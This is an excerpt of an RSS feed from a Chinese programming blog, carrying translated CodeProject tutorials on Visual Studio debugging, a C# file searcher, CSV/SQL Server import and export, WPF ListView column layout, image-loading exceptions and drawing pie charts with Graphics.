这个特性不是直接关于调试的，而是关于浏览大项目的。如果你尝试找到一些不是你自己写的代码中的错误，快速知道“这个类型是什么”或者“这个函数是干嘛的”，可以节省很多时间，VS通过一个转到定义命令方便了你。&lt;/p&gt;
&lt;p&gt;11.命令窗口
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27689_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2af5b37764b18abe3ae34c1a67e4398721fbd04b.png&#34; title=&#34;11&#34;&gt;&lt;/a&gt;
第十一的技巧&lt;a href=&#34;http://www.codeproject.com/script/Membership/View.aspx?mid=4917930&#34;&gt;chaau&lt;/a&gt;已经建议过了。确实可以节省很多时间，VS支持命令窗口，可以通过，视图-其他窗口-命令窗口来启动。一旦激活，你可以输入不同的命令来自动化调试。举个例子。你可以通过如下命令 简单的模拟MFC COleDateTime 变量。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;? dt.Format(&#34;%Y-%m-%d %H:%M:%S&#34;)&lt;/pre&gt;
&lt;p&gt;许可
本文包括源代码和文件在CPOL下授权。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;原文地址：&lt;a href=&#34;http://www.codeproject.com/Articles/359801/10plus-powerful-debugging-tricks-with-Visual-Studi&#34;&gt;10plus-powerful-debugging-tricks-with-Visual-Studi&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;著作权声明：本文由&lt;a href=&#34;http://leaver.me/&#34;&gt;http://leaver.me&lt;/a&gt; 翻译，欢迎转载分享。请尊重作者劳动，转载时保留该声明和作者博客链接，谢谢！&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#编写文件搜索器</title>
      <link>http://blog.leaver.me/2012/10/01/c%23%E7%BC%96%E5%86%99%E6%96%87%E4%BB%B6%E6%90%9C%E7%B4%A2%E5%99%A8/</link>
      <pubDate>Mon, 01 Oct 2012 11:36:29 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/01/c%23%E7%BC%96%E5%86%99%E6%96%87%E4%BB%B6%E6%90%9C%E7%B4%A2%E5%99%A8/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27654_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6d2217ea2873cc4f559cc605fc38f29dade4aef8.jpg&#34; title=&#34;filesearcher&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;
在装有Vista的机器上。我想通过一个给定的字符串来搜索我硬盘上的一个文件，该文件内容包含这个字符串序列，资源管理器是做不到的。因此，我就决定自己写吧。然后就写成这样了。。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我做了什么&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你必须输入一个选择一个搜索目录，这样程序才知道在哪搜索文件/目录，如果你选上了“包含子目录”复选框，程序就会递归地搜索指定目录的子目录，指定的文件名可以是像 &amp;ldquo;&lt;em&gt;.wav;&lt;/em&gt;.mp3;Christma??ree.*&amp;rdquo; 这样的字符串，程序将会列出所有的文件/目录匹配这些文件名&lt;/p&gt;
&lt;p&gt;你也可以使用一些限制条件来限制找到的项目，每一个限制条件可以通过选上复选框来激活，限制条件的参数可以在右边选中就行了。&lt;/p&gt;
&lt;p&gt;1. “Files newer than”将会列出LastWriteTime（上次修改时间）晚于指定时间的文件
2. “Files newer than”将会列出LastWriteTime（上次修改时间）早于指定时间的文件
3. &amp;ldquo;Files containing the string&amp;quot;仅仅列出包含字符串参数的文件。&lt;/p&gt;
&lt;p&gt;程序将会把字符串转换成字节序列，可以使用ASCII或者Unicode编码，取决于你的选择，然后搜索每一个出现这个字节序列的文件。&lt;/p&gt;
&lt;p&gt;点击Start（开始）按钮就开始搜索了。找到的项目会列在下面，如果搜索时间太长了。你可以点击Stop（停止）来停止搜索。&lt;/p&gt;
&lt;p&gt;如果你双击下面的一个文件。不是文件夹哦，程序将会根据关联程序打开该文件
如果你邮件一个项目，然后选择“Open Containing Folder”（打开包含文件夹）将会在资源管理器里打开包含该项目的文件夹&lt;/p&gt;
&lt;p&gt;如果你想要把搜索结果保存到一个文本文件。输入个分隔符分隔项目，然后点击“Write results to text file…”（保存结果到文本…）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用代码&lt;/strong&gt;
1. MainWindow处理所有的界面事务
2. Searcher类提供了业务逻辑，用来搜索FileSystemInfo对象&lt;/p&gt;
&lt;p&gt;当用户点击Start（开始）按钮，Searcher.Start 方法就会执行，该方法开启了一个名为SearchThread 的新线程，这个线程搜索文件/目录，匹配用户输入的参数，如果找到了一个匹配的FileSystemInfo对象，它就出发一个异步的FoundInfo 事件，然后MainWindow就可以从FoundInfoEventArgs中解出FileSystemInfo对象，然后更新结果列表，当线程结束的时候，将m_thread成员对象设置为null，每一次Searcher.Start 执行的时候都会检测m_thread是否为null，因此同时不会有两个线程在运行。&lt;/p&gt;
&lt;p&gt;当用户点击Stop(停止)按钮的时候Searcher.Stop 方法被执行，然后设置m_stop 成员为true， Searchthread会注意到这个改变。注意本操作是线程安全的。因为布尔变量只需要一步就操作完成了&lt;/p&gt;
&lt;p&gt;重要：在Searcher_FoundInfo 事件处理中，MainWindow使用Invoke方法通过代理来调用this_FoundInfo 方法。通过这个方法，MainWindow是的更新结果列表的代码在MainWindow的线程里执行，而不是在Searcher的线程里，直接调用this_FoundInfo 方法会引发程序崩溃，因为Searcher_FoundInfo 事件处理和图形界面控件不同步。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;private delegate void FoundInfoSyncHandler(FoundInfoEventArgs e);
private FoundInfoSyncHandler FoundInfo;

...

private void MainWindow_Load(object sender, EventArgs e)
{
...
this.FoundInfo += new FoundInfoSyncHandler(this_FoundInfo);
...
}

...

private void Searcher_FoundInfo(FoundInfoEventArgs e)
{
if (!m_closing)
{
this.Invoke(FoundInfo, new object[] { e });
}
}

private void this_FoundInfo(FoundInfoEventArgs e)
{
CreateResultsListItem(e.Info);
}&lt;/pre&gt; 
&lt;p&gt;CreateResultsListItem 方法创建并添加一个ListViewItem 到结果列表中，然后展示FilesystemInfo 对象包含的数据，FileSystemInfo 可以是FileInfo 或是DirectoryInfo ，取决于Searcher 找到的结果， is操作符可以用来判断对象的类型，如果是FileInfo独享，列表还会以KB为单位显示文件大小&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;ListViewItem.ListViewSubItem lvsi = new ListViewItem.ListViewSubItem();
if (info is FileInfo)
{
lvsi.Text = GetBytesStringKB(((FileInfo)info).Length);
}
else
{
lvsi.Text = &#34;&#34;;
}&lt;/pre&gt; 
&lt;p&gt;当Searcher 线程结束的时候，触发ThreadEnded 事件，因此，MainWindow可以注意到搜索结束，Searcher_ThreadEnded 事件处理句柄使用和Searcher_FoundInfo一样的方式调用Invoke方法。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;private delegate void ThreadEndedSyncHandler(ThreadEndedEventArgs e);
private ThreadEndedSyncHandler ThreadEnded;

...

private void MainWindow_Load(object sender, EventArgs e)
{
...
this.ThreadEnded += new ThreadEndedSyncHandler(this_ThreadEnded);
...
}

...

private void Searcher_ThreadEnded(ThreadEndedEventArgs e)
{
if (!m_closing)
{
this.Invoke(ThreadEnded, new object[] { e });
}
}

private void this_ThreadEnded(ThreadEndedEventArgs e)
{
EnableButtons();
if (!e.Success)
{
MessageBox.Show(e.ErrorMsg,
&#34;Error&#34;,
MessageBoxButtons.OK,
MessageBoxIcon.Exclamation);
}
}&lt;/pre&gt; 
&lt;p&gt;Demo下载
&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=68747&amp;amp;uk=1493685990&#34;&gt;FileSearcher&lt;/a&gt;
许可
本文包括源代码和文件在CPOL下授权&lt;/p&gt;</description>
    </item>
    <item>
      <title>CSV导入导出工具</title>
      <link>http://blog.leaver.me/2012/09/30/csv%E5%AF%BC%E5%85%A5%E5%AF%BC%E5%87%BA%E5%B7%A5%E5%85%B7/</link>
      <pubDate>Sun, 30 Sep 2012 22:33:19 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/30/csv%E5%AF%BC%E5%85%A5%E5%AF%BC%E5%87%BA%E5%B7%A5%E5%85%B7/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27639_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/650890bebf13c4d041d3113af4b40fb93a2cc0c5.png&#34; title=&#34;form1&#34;&gt;&lt;/a&gt;
&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;本文介绍并且实现了在平面文件CSV和SQL server之间的导入导出功能。使用VS2005写的。使用了.net 2.0&lt;/p&gt;
&lt;p&gt;本文基于前一篇文章：&lt;a href=&#34;http://www.codeproject.com/KB/database/FinalCSVReader.aspx&#34;&gt;从CSV导入数据并存储到数据库&lt;/a&gt;，本文包含了新功能，比如，导出功能，在数据库创建表，批量拷贝。接下来的例子中有很多注释。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;导入&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过ODBC驱动连接到一个CSV文件，然后把文件读到一张表了（基于前面提到的那篇文章）
使用不同的编码和不同的行分隔符（基于前文）
加载CSV文件到DataSet（基于前文）
如何显示对CSV文件的预览（基于前文）
通过SqlBulkCopy的对象向SQL server转移数据，原始数据是DataSet实例&lt;/p&gt;
&lt;p&gt;使用结构表，基于CSV文件，创建一个新表
使用事件来处理批量拷贝的进程
&lt;strong&gt;导出&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;浏览SQL 数据库中的用户表
使用不同的编码和分隔符
使用SqlDataReader读取数据，使用StreamWriter转移数据到平面文件&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27640_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b131fd0af27287ab9270df33d1a313ab957dfb12.png&#34; title=&#34;form2&#34;&gt;&lt;/a&gt;
使用&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;下载工程&lt;/li&gt;
&lt;li&gt;新建一个数据库，或者使用一个存在的数据库&lt;/li&gt;
&lt;li&gt;修改软件中的数据库连接字符串，在prop.cs文件中&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;public static string sqlConnString = &#34;server=(local);
	database=Test_CSV_impex;Trusted_Connection=True&#34;;&lt;/pre&gt; 
&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;运行工程&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;一些代码段&lt;/strong&gt;
加载CSV到DataSet中&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
/*
 *加载CSV到DataSet.
 * 
 * 如果numberOfRows parameter 是 -1, 就加载所有行, 否则就加载指定数目的行
 */

public DataSet LoadCSV(int numberOfRows)
{
	DataSet ds = new DataSet();
	try
	{
		// 创建并打开ODBC连接
		string strConnString = &#34;Driver={Microsoft Text Driver (*.txt; *.csv)};
			Dbq=&#34; + this.dirCSV.Trim() + &#34;;
			Extensions=asc,csv,tab,txt;Persist Security Info=False&#34;;
		string sql_select;
		OdbcConnection conn;
		conn = new OdbcConnection(strConnString.Trim());
		conn.Open();

		//创建SQL语句
		if (numberOfRows == -1)
		{
			sql_select = &#34;select * from [&#34; + 
					this.FileNevCSV.Trim() + &#34;]&#34;;
		}
		else
		{
			sql_select = &#34;select top &#34; + numberOfRows + 
				&#34; * from [&#34; + this.FileNevCSV.Trim() + &#34;]&#34;;
		}

		//创建数据适配器 
		OdbcDataAdapter obj_oledb_da = new OdbcDataAdapter(sql_select, conn);

		//用CSV的数据填充DataSet
		obj_oledb_da.Fill(ds, &#34;csv&#34;);

		//关闭连接
		conn.Close();
	}
	catch (Exception e) //异常处理
	{
		MessageBox.Show(e.Message, &#34;Error - LoadCSV&#34;,
				MessageBoxButtons.OK,MessageBoxIcon.Error);
	}
	return ds;
}&lt;/pre&gt;
&lt;p&gt;通过SqlBulkCopy从ODBC连接中转移数据到数据库&lt;/p&gt;</description>
    </item>
    <item>
      <title>ListView布局管理器</title>
      <link>http://blog.leaver.me/2012/09/29/listview%E5%B8%83%E5%B1%80%E7%AE%A1%E7%90%86%E5%99%A8/</link>
      <pubDate>Sat, 29 Sep 2012 10:14:54 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/29/listview%E5%B8%83%E5%B1%80%E7%AE%A1%E7%90%86%E5%99%A8/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27575_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3908a54221845d3b8f0b2ad7c3c0b559dae7a979.jpg&#34; title=&#34;listview&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;使用ListViewLayoutManager  可以控制ListView/GridView列的布局&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;固定列宽：有着固定列宽的列&lt;/li&gt;
&lt;li&gt;范围列宽：有着最小最大宽度的列&lt;/li&gt;
&lt;li&gt;比例列宽：成比例的列宽&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;范围列宽可以限制列的宽度，也包括填充列的剩余可视区域。&lt;/p&gt;
&lt;p&gt;据我们了解的Html中的表格和Grid空间。比例列以一个百分比来定义列宽，以下几个因素共同确定了比例列的宽度。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;垂直ListView滚动条的可视与否&lt;/li&gt;
&lt;li&gt;ListView控件宽度的改变&lt;/li&gt;
&lt;li&gt;非比例列宽度的改变&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;本程序支持通过XAML或是后台代码来控制ListView。如果通过XAML来控制。则允许ListViewLayoutManager 被附加到一个存在的ListView控件上。&lt;/p&gt;
&lt;p&gt;ConverterGridColumn 类通过接口IValueConverter 提供了对象绑定。使用ImageGridViewColumn 类则允许通过DataTemplate（数据模板）将列显示成图片等。&lt;/p&gt;
&lt;p&gt;在 &lt;a href=&#34;http://www.codeproject.com/Articles/25829/User-Settings-Applied&#34;&gt;User Setting Applied&lt;/a&gt;中，我展示了如何固定ListViewlieder顺序和大小&lt;/p&gt;
&lt;h3 id=&#34;xaml中listviewgridview布局&#34;&gt;XAML中ListView/GridView布局&lt;/h3&gt;
&lt;p&gt;固定列
下面的例子展示了通过XAML使用固定列宽控制列&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;&amp;lt;ListView
    Name=&#34;MyListView&#34;
    ctrl:ListViewLayoutManager.Enabled=&#34;true&#34;&amp;gt;

    &amp;lt;ListView.View&amp;gt;
      &amp;lt;GridView&amp;gt;
        &amp;lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Name}&#34;

          ctrl:FixedColumn.Width=&#34;100&#34;
          Header=&#34;Name&#34; /&amp;gt;

        &amp;lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=City}&#34;
          ctrl:FixedColumn.Width=&#34;300&#34;

          Header=&#34;City&#34; /&amp;gt;
      &amp;lt;/GridView&amp;gt;

    &amp;lt;/ListView.View&amp;gt;
  &amp;lt;/ListView&amp;gt;
&lt;/pre&gt; 
&lt;p&gt;设置附加到ListView控件上的ListViewLayoutManager 的Enabled属性为True。然后FixedColumn.Width 就会阻止鼠标拖动改变列的宽度。&lt;/p&gt;
&lt;p&gt;比例列&lt;/p&gt;
&lt;p&gt;下面的例子展示了使用XAML通过比例来控制列&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;&lt;ListView
    Name=&#34;MyListView&#34;
    ctrl:ListViewLayoutManager.Enabled=&#34;true&#34;&gt;
    &lt;ListView.View&gt;

      &lt;GridView&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Name}&#34;
          ctrl:ProportionalColumn.Width=&#34;1&#34;

          Header=&#34;Name&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=City}&#34;

          ctrl:ProportionalColumn.Width=&#34;3&#34;
          Header=&#34;City&#34; /&gt;
      &lt;/GridView&gt;

    &lt;/ListView.View&gt;

  &lt;/ListView&gt;&lt;/pre&gt;
&lt;p&gt;对比Grid控件的RowDefinition.Width 属性，ProportionalColumn.Width会计算百分比。简单来说，就是上面的例子中Name列会占到总宽度的25%，而City列占到75%。
与固定列相似。鼠标将不能改变列的宽度。&lt;/p&gt;
&lt;p&gt;范围列&lt;/p&gt;
&lt;p&gt;下面的例子展示了使用XAML通过最小/最小宽度来控制列&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
&lt;ListView
    Name=&#34;MyListView&#34;
    ctrl:ListViewLayoutManager.Enabled=&#34;true&#34;&gt;
    &lt;ListView.View&gt;

      &lt;GridView&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Name}&#34;
          ctrl:RangeColumn.MinWidth=&#34;100&#34;
          Width=&#34;150&#34;

          Header=&#34;Name&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=City}&#34;
          ctrl:RangeColumn.MaxWidth=&#34;200&#34;
          Width=&#34;150&#34;

          Header=&#34;City&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Country}&#34;
          Width=&#34;100&#34;
          ctrl:RangeColumn.MinWidth=&#34;50&#34;

          ctrl:RangeColumn.MaxWidth=&#34;150&#34;
          Header=&#34;Country&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=State}&#34;
          Width=&#34;100&#34;

          ctrl:RangeColumn.MinWidth=&#34;100&#34;
          ctrl:RangeColumn.IsFillColumn=&#34;true&#34;
          Header=&#34;Country&#34; /&gt;

      &lt;/GridView&gt;

    &lt;/ListView.View&gt;
  &lt;/ListView&gt;&lt;/pre&gt;
&lt;p&gt;第一个范围列的IsFillColumn 属性被设置为True，因此将会自动改变大小来填满剩余的空间，而如果ListView包含一个比例列的话，范围列将不会填充&lt;/p&gt;
&lt;p&gt;通过鼠标可以拖动范围列的宽度。鼠标指针会有一些提示。。&lt;/p&gt;
&lt;p&gt;组合使用&lt;/p&gt;
&lt;p&gt;在真实的世界里。组合使用很普遍。他们的顺序可以多种多样。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
&lt;ListView
    Name=&#34;MyListView&#34;
    ctrl:ListViewLayoutManager.Enabled=&#34;true&#34;&gt;

    &lt;ListView.View&gt;
      &lt;GridView&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=State}&#34;
          ctrl:FixedColumn.Width=&#34;25&#34;
          Header=&#34;Name&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Name}&#34;

          Width=&#34;150&#34;
          ctrl:RangeColumn.MinWidth=&#34;100&#34;
          ctrl:RangeColumn.MaxWidth=&#34;200&#34;

          Header=&#34;City&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=City}&#34;
          ctrl:ProportionalColumn.Width=&#34;1&#34;
          Header=&#34;Zip&#34; /&gt;

        &lt;GridViewColumn
          DisplayMemberBinding=&#34;{Binding Path=Country}&#34;

          ctrl:ProportionalColumn.Width=&#34;2&#34;
          Header=&#34;Country&#34; /&gt;
      &lt;/GridView&gt;

    &lt;/ListView.View&gt;
  &lt;/ListView&gt;&lt;/pre&gt;
&lt;h3 id=&#34;使用后台代码控制listviewgridview布局&#34;&gt;使用后台代码控制ListView/GridView布局&lt;/h3&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
ListView listView = new ListView();
 new ListViewLayoutManager( listView ); // attach the layout manager

 GridView gridView = new GridView();
 gridView.Columns.Add( FixedColumn.ApplyWidth( new MyGridViewColumn( &#34;State&#34; ), 25 ) );
 gridView.Columns.Add( RangeColumn.ApplyWidth( new MyGridViewColumn( &#34;Name&#34; ), 100,
     150, 200 ) ); // 100...200
 gridView.Columns.Add( ProportionalColumn.ApplyWidth( new MyGridViewColumn( &#34;City&#34; ),
     1 ) ); // 33%
 gridView.Columns.Add( ProportionalColumn.ApplyWidth( new MyGridViewColumn(
     &#34;Country&#34; ), 2 ) ); // 66%

 listView.View = gridView;
&lt;/pre&gt;
&lt;h3 id=&#34;定制列的效果&#34;&gt;定制列的效果&lt;/h3&gt;
&lt;p&gt;类ConverterGridColumn 作为一个基类，用来绑定列到独立的对象。&lt;/p&gt;</description>
    </item>
    <item>
      <title>从数据库读取图片发生“无效的参数”异常</title>
      <link>http://blog.leaver.me/2012/09/27/%E4%BB%8E%E6%95%B0%E6%8D%AE%E5%BA%93%E8%AF%BB%E5%8F%96%E5%9B%BE%E7%89%87%E5%8F%91%E7%94%9F%E6%97%A0%E6%95%88%E7%9A%84%E5%8F%82%E6%95%B0%E5%BC%82%E5%B8%B8/</link>
      <pubDate>Thu, 27 Sep 2012 19:47:39 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/27/%E4%BB%8E%E6%95%B0%E6%8D%AE%E5%BA%93%E8%AF%BB%E5%8F%96%E5%9B%BE%E7%89%87%E5%8F%91%E7%94%9F%E6%97%A0%E6%95%88%E7%9A%84%E5%8F%82%E6%95%B0%E5%BC%82%E5%B8%B8/</guid>
      <description>&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;我发现对于很多人来说，当从数据库里载入一张图片然后重新创建成一张图片显示的话会有这样一个问题&amp;mdash;-当他们尝试重新创建新的图片的时候，会抛出一个“无效的参数”异常&lt;/p&gt;
&lt;p&gt;因此，本文介绍该异常如何产生。并且我希望未来当我或是你发生这个错误的时候还能有所帮助。。&lt;/p&gt;
&lt;h3 id=&#34;背景&#34;&gt;背景&lt;/h3&gt;
&lt;p&gt;存储图片到数据库里面是一个很有效的想法。很多人在一些场合都会这样做。的确，这是一个很好的想法。在图片很小的情况下，或者图片不是太多。在这两种情况下，当你需要图片的时候，你会实时去加载它们。而当你不需要的时候如果从数据库里加载图片会浪费很多带宽。并使得你的程序有一些慢。&lt;/p&gt;
&lt;p&gt;但问题是这种方法也很容易发生错误。&amp;ndash;尤其是你使用字符串连接，然后组合到你的SQL语句里面—并且这个错误只有当你打算使用存储的信息的时候才会发生。然后，看起来似乎是你的读取代码写错了&amp;mdash;不可能—它是正常的。我在其他地方都可以的。。&lt;/p&gt;
&lt;h3 id=&#34;从数据库里加载图片&#34;&gt;从数据库里加载图片&lt;/h3&gt;
&lt;p&gt;重数据库里读取一张图片然后转换成图片显示是很简单的。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;using (SqlConnection con = DBAccess.DBCon)
                        {
                        using (SqlCommand cmd = new SqlCommand(&#34;SELECT picture FROM Pictures WHERE Id=@ID&#34;, con))
                            {
                            cmd.Parameters.AddWithValue(&#34;@ID&#34;, Id);
                            SqlDataReader reader = cmd.ExecuteReader();
                            if (reader.Read())
                                {
                                byte[] data = (byte[])reader[&#34;Picture&#34;];
                                using (MemoryStream stream = new MemoryStream(bytes))
                                    {
                                    myImage = new Bitmap(stream);
                                    }
                                }
                            }
                        }&lt;/pre&gt;
&lt;p&gt;但是-如果data因为一些原因不是有效的图片，那么这一行&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;myImage = new Bitmap(stream);&lt;/pre&gt;
&lt;p&gt;将会抛出一个异常—无效的参数&lt;/p&gt;
&lt;p&gt;只有当你真正看了从数据库里返回到data里的数据-而不是简单的瞄了一眼调试器，你才能注意到是什么原因。。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;{byte[21]}
[0] 83
[1] 121
[2] 115
[3] 116
[4] 101
[5] 109
[6] 46
[7] 68
[8] 114
[9] 97
[10] 119
[11] 105
[12] 110
[13] 103
[14] 46
...&lt;/pre&gt;
&lt;p&gt;它看起来不像是错的，所以它可能就是你想要的。-虽然21字节是一个很大的线索：你的图片可能只有21字节长？那图片可真小。。&lt;/p&gt;
&lt;p&gt;但是，上面的是可以读懂的。。稍微练习一下。。每个字节是一个ASCII码。。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;&#34;83&#34; is an uppercase &#39;S&#39;
&#34;121&#34; is an lowercase &#39;y&#39;
&#34;115&#34; is an lowercase &#39;s&#39;
&#34;116&#34; is an lowercase &#39;t&#39;
&#34;101&#34; is an lowercase &#39;e&#39;
&#34;109&#34; is an lowercase &#39;m&#39;
&#34;46&#34; is a &#39;.&#39;
&#34;68&#34; is an uppercase &#39;D&#39;
&#34;114&#34; is an lowercase &#39;r&#39;
&#34;97&#34; is an lowercase &#39;a&#39;
&#34;119&#34; is an lowercase &#39;w&#39;
&#34;105&#34; is an lowercase &#39;i&#39;
&#34;110&#34; is an lowercase &#39;n&#39;
&#34;103&#34; is an lowercase &#39;g&#39;
&#34;46&#34; is an lowercase &#39;.&#39;
...&lt;/pre&gt;
&lt;p&gt;简而言之，你从数据库里得到的数据是一个人类可以读懂的字符串，意思是是&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#使用Graphics创建饼图</title>
      <link>http://blog.leaver.me/2012/09/27/c%23%E4%BD%BF%E7%94%A8graphics%E5%88%9B%E5%BB%BA%E9%A5%BC%E5%9B%BE/</link>
      <pubDate>Thu, 27 Sep 2012 13:47:25 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/27/c%23%E4%BD%BF%E7%94%A8graphics%E5%88%9B%E5%BB%BA%E9%A5%BC%E5%9B%BE/</guid>
      <description>&lt;h3 id=&#34;介绍&#34;&gt;介绍&lt;/h3&gt;
&lt;p&gt;这个程序是使用C#中的Graphics来创建一个饼图的，我已经尽我所能写的很好了。如果你有任何建议可以分享给我，这样我也能从中学习。&lt;/p&gt;
&lt;h3 id=&#34;使用代码&#34;&gt;使用代码&lt;/h3&gt;
&lt;p&gt;最近我迷上了Graphics类。我仅仅体验了一下Graphics的DrawPie() 和FillPie() 方法。&lt;/p&gt;
&lt;p&gt;最为一个简单的Demo，我创建一个有着五个文本框的窗体，一个按钮，一个图片框。一会我就把饼图画在图片框里&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27557_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/f3681994ca4fce2b724886db9d7a958d854c8e39.png&#34; title=&#34;client&#34;&gt;&lt;/a&gt;
在创建一个饼图之前，我们头脑里要有这个意识。我们不能创建一个不符合常规的圆，创建圆我们需要度数信息。&lt;/p&gt;
&lt;p&gt;为了转换度数。我们首先把给定的值做个求和。然后得出文本框里所有值的和。然后呢。用每个值除以总值再乘以360度。
代码如下：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;int i1 = Int32.Parse(textBox1.Text);
int i2 = Int32.Parse(textBox2.Text);
int i3 = Int32.Parse(textBox3.Text);
int i4 = Int32.Parse(textBox4.Text);
int i5 = Int32.Parse(textBox5.Text);

float total = i1 + i2 + i3 + i4 + i5 ;

float deg1 = (i1 / total) * 360;
float deg2 = (i2 / total) * 360;
float deg3 = (i3 / total) * 360;
float deg4 = (i4 / total) * 360;
float deg5 = (i5 / total) * 360;&lt;/pre&gt;
&lt;p&gt;值转换完毕后。我们可以创建Graphics类的实例了。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;Graphics graphics = pictureBox1.CreateGraphics();  &lt;/pre&gt;
&lt;p&gt;然后我们需要创建一个矩形区域，在这个矩形区域里绘制饼图。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;Rectangle rect = new Rectangle(0, 0, 150, 150);&lt;/pre&gt;
&lt;p&gt;前两个参数定义了矩形左上角的坐标，后两个分别定义了举行的宽和高。&lt;/p&gt;
&lt;p&gt;为了能够比较清晰的看出饼图各部分的比例。我们需要创建五个笔刷。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;Brush brush1 = new SolidBrush(Color.Red);
Brush brush2 = new SolidBrush(Color.Blue);
Brush brush3 = new SolidBrush(Color.Maroon);
Brush brush4 = new SolidBrush(Color.Navy);
Brush brush5 = new SolidBrush(Color.YellowGreen);
graphics.Clear(pictureBox1.BackColor);&lt;/pre&gt;
&lt;p&gt;现在我们可以开始创建我们的饼图了。graphics.FillPie();方法接受四个参数&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;笔刷，用来填充扇形&lt;/li&gt;
&lt;li&gt;矩形：饼图将被创建的区域。&lt;/li&gt;
&lt;li&gt;开始角度：饼部分的开始角度&lt;/li&gt;
&lt;li&gt;覆盖角度：饼部分扫过的角度&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;一般来说graphics.FillPie();方法并不是创建一个完全的饼图，而是创建饼图的一个扇形部分，我们会创建一系列的扇形最终看起来像是一个饼图。&lt;/p&gt;</description>
    </item>
    <item>
      <title>AvalonDock 2.0入门指南第一部分</title>
      <link>http://blog.leaver.me/2012/09/26/avalondock-2.0%E5%85%A5%E9%97%A8%E6%8C%87%E5%8D%97%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86/</link>
      <pubDate>Wed, 26 Sep 2012 16:38:26 +0000</pubDate>
